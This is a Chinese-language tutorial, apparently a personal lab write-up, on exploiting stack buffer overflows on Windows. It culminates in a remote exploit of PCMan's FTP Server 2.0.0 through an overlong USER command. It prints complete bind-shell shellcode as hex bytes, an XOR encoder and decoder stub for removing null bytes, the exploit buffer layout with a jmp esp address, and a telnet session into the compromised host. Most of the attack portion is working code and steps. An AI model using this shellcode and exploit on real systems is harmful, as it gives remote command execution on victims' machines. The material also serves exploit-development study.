概述
何为软件漏洞
软件漏洞
理论上所有的漏洞均是软件漏洞,即便看起来像硬件级的漏洞,其本质仍是软件漏洞,软件漏洞是目前信息安全领域讨论的终极话题
软件漏洞成因
本质上是由于人类目前还没有办法再原点上区分数据与代码(无论是冯诺依曼结构或哈佛结构均是如此),从事件的成因来看则是目前人类还未理解编写安全代码的真正方法
如何有效预防
通过修改公共库函数的安全性,从根本上让软件漏洞的出现频率降低,并通过操作系统级的干预,使得有效的溢出攻击变得越来越难实现
软件漏洞常见名词
Vulnerability
中文直译:“漏洞”,它是通过黑客们(或软件厂商的安全部门)调试分析出来可能导致安全性问题的软件缺陷
Exploit
中文直译:“漏洞利用”,它是能够利用或触发一段代码,也就是一个漏洞利用方法。Exploit代码/方法一般执行再攻击者机器上,或执行再权限受限的环境中
ShellCode
中文直译:“壳代码”,它是通过Exploit顺利执行后,将一部分代码以巧妙的方式再指定机器上以指定的权限运行,这段代码就被称之为ShellCode。ShellCode一般执行在被攻击者的机器上,或执行在权限相对受限的环境中
Payload
中文直译:“有效载荷”,Payload是ShellCode的一部分,ShellCode的执行往往就是为了给Payload代码开山铺路,使其能够按照攻击者的意愿执行,也就是说Payload部分是做具体事物的部分(恶意)代码
获取关键模块基址
1 | __asm |

_TEB
1 | //0x1000 bytes (sizeof) |
_PEB
1 | //0x480 bytes (sizeof) |
_PEB_LDR_DATA
1 | //0x30 bytes (sizeof) |
InInitializationOrderModuleList 指向的是一个结构体具体如下所示
_LIST_ENTRY
1 | //0x8 bytes (sizeof) |
_LDR_DATA_TABLE_ENTRY
次结构为公开(根据逆向得出)
1 | typedef struct _LDR_DATA_TABLE_ENTRY |
含有溢出漏洞C代码
1 |
|
修改编译选项
这段代码很明显在拷贝的时候会出现问题,所以一般编译阶段就不会通过,在这里就需要关闭几个选项(GS/DEP/优化)随机基址的关闭是为了更加方便的执行后续操作(你懂得)
右击工程属性
ShellCode
思路:
1.将其整崩
2.找到溢出点
3.验证溢出点
4.寻找jmp esp
5.验证jmp esp
6.在溢出点后空出一部分0x90(由于调用约定平栈)
7.写入ShellCode
测试1
简单的利用该漏洞弹出空白弹窗
将其整崩
含有漏洞的代码中可以明显看出超过50个字节将会出现溢出,所以需要构造一个文件超过50个字节,并且这个文件里边的字符必须是可以有规律不重复的
使用一下代码输出一段字符串
1 | for (int i = 65; i < 91; i++) |
结果
1 | A1A2A3A4A5A6A7A8A9B1B2B3B4B5B6B7B8B9C1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E1E2E3E4E5E6E7E8E9F1F2F3F4F5F6F7F8F9G1G2G3G4G5G6G7G8G9H1H2H3H4H5H6H7H8H9I1I2I3I4I5I6I7I8I9J1J2J3J4J5J6J7J8J9K1K2K3K4K5K6K7K8K9L1L2L3L4L5L6L7L8L9M1M2M3M4M5M6M7M8M9N1N2N3N4N5N6N7N8N9O1O2O3O4O5O6O7O8O9P1P2P3P4P5P6P7P8P9Q1Q2Q3Q4Q5Q6Q7Q8Q9R1R2R3R4R5R6R7R8R9S1S2S3S4S5S6S7S8S9T1T2T3T4T5T6T7T8T9U1U2U3U4U5U6U7U8U9V1V2V3V4V5V6V7V8V9W1W2W3W4W5W6W7W8W9X1X2X3X4X5X6X7X8X9Y1Y2Y3Y4Y5Y6Y7Y8Y9Z1Z2Z3Z4Z5Z6Z7Z8Z9 |
将其复制到password.txt文件中(含有漏洞的程序中有用到该文件)
运行漏洞程序,该程序启动一会就被关闭了(在Win10环境中,在win7中应该会弹出错误窗口),这个时候就代表它崩溃了
定位溢出点
找到事件查看器

错误偏移量:溢出点
0x45324531对应的就是password中ascii码(31对应1,45对应E,32对应2,45对应E)
打开password.txt查看一下

验证溢出点
更改password.txt文件

保存之后再次运行,查看事件查看器

说明溢出点可以确定
ShellCode写入
简单弹窗,只需要找到Messagebox函数地址写入溢出点即可
打开调试器,Ctrl + G,输入MessageboxA

使用010Editor打开password.txt文件

修改此处为,30 19 08 77(调试器是小端,010是大端),后面还需跟四个参数及函数返回地址,由于弹的是最普通的白板,直接填0

保存后运行

测试2
测试壳代码
1 | int main() |
运行代码,结果是成功的

提取二进制
使用x32dbg打开
找到壳代码选中右键——>二进制——>编辑

测试二进制
1 | char cshellcode[] = "\x83\xEC\x60\xEB\x15\x30\x19\x08\x77\x90\x59\xA2\x75\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5E\x33\xD2\x8D\x7E\xEE\x8B\x46\xE6\x52\x57\x57\x52\xFF\xD0\x8B\x46\xEA\x52\xFF\xD0\x33\xC0\x5F\x5E\x5B\x5D\xC3"; |
运行

测试成功
ShellCode写入
将二进制写入password.txt文件中
使用010Editor打开,将粘贴板的二进制粘贴到文件开始位置


然后将溢出点写入漏洞代码中buff数组的地址,首先得找到该地址
用调试器打开漏洞程序

写入溢出点

保存后运行

测试3
壳代码
1 | int main() |
测试壳代码

测试成功
提取二进制
x32Dbug打开,找到壳代码


测试二进制
1 |
|

测试成功
寻找jmp esp
右击–>搜索–>所有模块–>命令

输入jmp esp


0x77188FF9,下上断点(用于验证)
验证jmp esp
ShellCode写入
将jmp esp 地址写入溢出点,二进制代码紧随其后

保存运行

BindShell
C代码
1 |
|
运行BindShell
编译通过后放置到win7虚拟机中运行

获取虚拟机IP:192.168.32.132(Win + R,输入CMD回车,输入ipconfig)
连接BindShell
进入主机(Win10环境)cmd,输入telnet ip 端口

结果

连接成功
可以测试一下,

exit 退出连接
PCManFTP 分析
PCMan’s FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
PCMan’s FTP Server 2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
【具体分析验证/漏洞基础知识(例如新文件格式的简单介绍、信通讯标准的简单介绍等)……】
溢出测试
建立Socket连接
发送“USER XXXX”登陆请求
1 |
|

构造字符串
Mona2是Corelan Team 团队开发的一个专门用于辅助漏洞挖掘的脚本插件
Mona原本只支持Immunity Debugger,但是由于Immunity Debugger与OllyDbg同根同源,而OllyDbg的更新已经明显乏力,因此Mona2推出了可以在Windbg上使用的版本
Mona可以帮助我们快速的定位溢出点,并且可以帮助我们查找一些用于溢出的特殊指令,以及构成复杂攻击代码的小部件
使用Mona2生成一段1000字节长度的测试代码,用于确定溢出点


1000不够长,重新生成4000个字符串后重试
定位溢出点

从以上信息可以得知 EIP被覆盖成0x43386f43

得到偏移2004
寻找JMP ESP
确认溢出点后需要找到目标程序空间的一个跳转指令“JMP ESP”

选择第一个0x7771f8f7
构造Exploit
构建一个长字符串发送登录请求(弹窗测试)
格式:”USER “+填充字节区+jmp esp跳板指令+NOP调用平栈+shellcode
1 | char cExpolit[5000] = { 0x00 }; // Exploit容器 |
ShellCode(弹窗源码与测试3一致)

构造BindShell
源码
1 | int main() |
提取二进制
1 | "\x83\xEC\x50\x55\x8B\xEC\x83\xEC\x10\xEB\x20\x63\x6D\x64\x2E\x65\x78\x65\x00\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\xE8\x00\x00\x00\x00\x5B\x89\x5D\xFC\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x52\x68\x87\x32\xD8\xC0\xE8\x3E\x00\x00\x00\x8B\xF8\x8D\x73\xEE\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF8\x8D\x73\xE3\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF4\xFF\x75\xF4\xFF\x75\xF8\xFF\x75\xFC\xE8\xCD\x00\x00\x00\xFF\x75\xF8\x68\x63\x89\xD1\x4F\xE8\x07\x00\x00\x00\x6A\x00\xFF\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x4D\x0C\x8B\x41\x3C\x8B\x44\x08\x78\x8B\x7C\x08\x1C\x03\xF9\x89\x7D\xFC\x8B\x7C\x08\x20\x03\xF9\x89\x7D\xF8\x8B\x7C\x08\x24\x03\xF9\x89\x7D\xF4\x8B\x7C\x08\x18\x33\xC9\xEB\x01\x41\x8B\x75\xF8\x8B\x34\x8E\x8B\x55\x0C\x8D\x34\x32\xFF\x75\x08\x56\xE8\x21\x00\x00\x00\x83\xF8\x01\x75\xE5\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x4E\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x0C\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\xC7\x45\xFC\x00\x00\x00\x00\x53\x51\x52\x8B\x75\x08\x33\xC9\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE3\x8B\x5D\x0C\x8B\x55\xFC\x33\xC0\x3B\xDA\x75\x05\xB8\x01\x00\x00\x00\x5A\x59\x5B\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xFF\x75\x10\x68\x3D\x6A\xB4\x80\xE8\x31\xFF\xFF\xFF\x8D\xB5\x00\xFD\xFF\xFF\x56\x68\x02\x02\x00\x00\xFF\xD0\x85\xC0\x0F\x85\x00\x01\x00\x00\xFF\x75\x10\x68\x2D\x32\x78\xDE\xE8\x0E\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x89\x45\xFC\xFF\x75\x10\x68\x64\x10\xA7\xDD\xE8\xF0\xFE\xFF\xFF\x66\xC7\x85\x00\xFE\xFF\xFF\x02\x00\x66\xC7\x85\x02\xFE\xFF\xFF\x05\xEB\xC7\x85\x04\xFE\xFF\xFF\x00\x00\x00\x00\x8D\xB5\x00\xFE\xFF\xFF\x6A\x10\x56\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\xA3\x00\x00\x00\xFF\x75\x10\x68\x0C\x9F\xD3\x4B\xE8\xB1\xFE\xFF\xFF\x68\xFF\xFF\xFF\x7F\xFF\x75\xFC\xFF\xD0\x83\xF8\x00\x0F\x85\x83\x00\x00\x00\xFF\x75\x10\x68\xB1\x1E\x97\x01\xE8\x91\xFE\xFF\xFF\x6A\x00\x6A\x00\xFF\x75\xFC\xFF\xD0\x89\x45\xFC\xFF\x75\x0C\x68\xC9\xBC\xA6\x6B\xE8\x78\xFE\xFF\xFF\x8B\xD0\x8D\xBD\x70\xFF\xFF\xFF\xB9\x11\x00\x00\x00\xB8\x00\x00\x00\x00\xFC\xF3\xAB\xC7\x85\x70\xFF\xFF\xFF\x44\x00\x00\x00\xC7\x45\x9C\x00\x01\x00\x00\x66\xC7\x45\xA0\x00\x00\x8B\x75\xFC\x89\x75\xA8\x89\x75\xAC\x89\x75\xB0\x8D\xB5\x70\xFF\xFF\xFF\x8D\xBD\x00\xFE\xFF\xFF\x8B\x5D\x08\x8D\x5B\xDB\x57\x56\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x53\x6A\x00\xFF\xD2\x8B\xE5\x5D\xC2\x0C\x00" |
由于提取出来的二进制含有0,会产生截断,所以需要进行加密处理(转换成不含0,回车,换行)
加密代码
1 |
|
生成的文件
1 | /* Encode Key = 0x17 */ |
解密代码
加密之后肯定是需要解密的,不然怎么使
1 | int main() |
提取二进制

1 | "\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x7C\x02\x8A\x04\x0E\x34\x17\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x17\xFF\xE6" |
ShellCode
1 |
|
测试连接
执行ShellCode后目标是处于未响应状态(鼠标放置在FTP程序上是转圈圈的),一开始以为代码或则哪里的操作有问题,后来尝试连接后就成功了
telnet 192.168.32.136 1515(telnet ip 端口)

dir(查看当前目录)

连接是成功的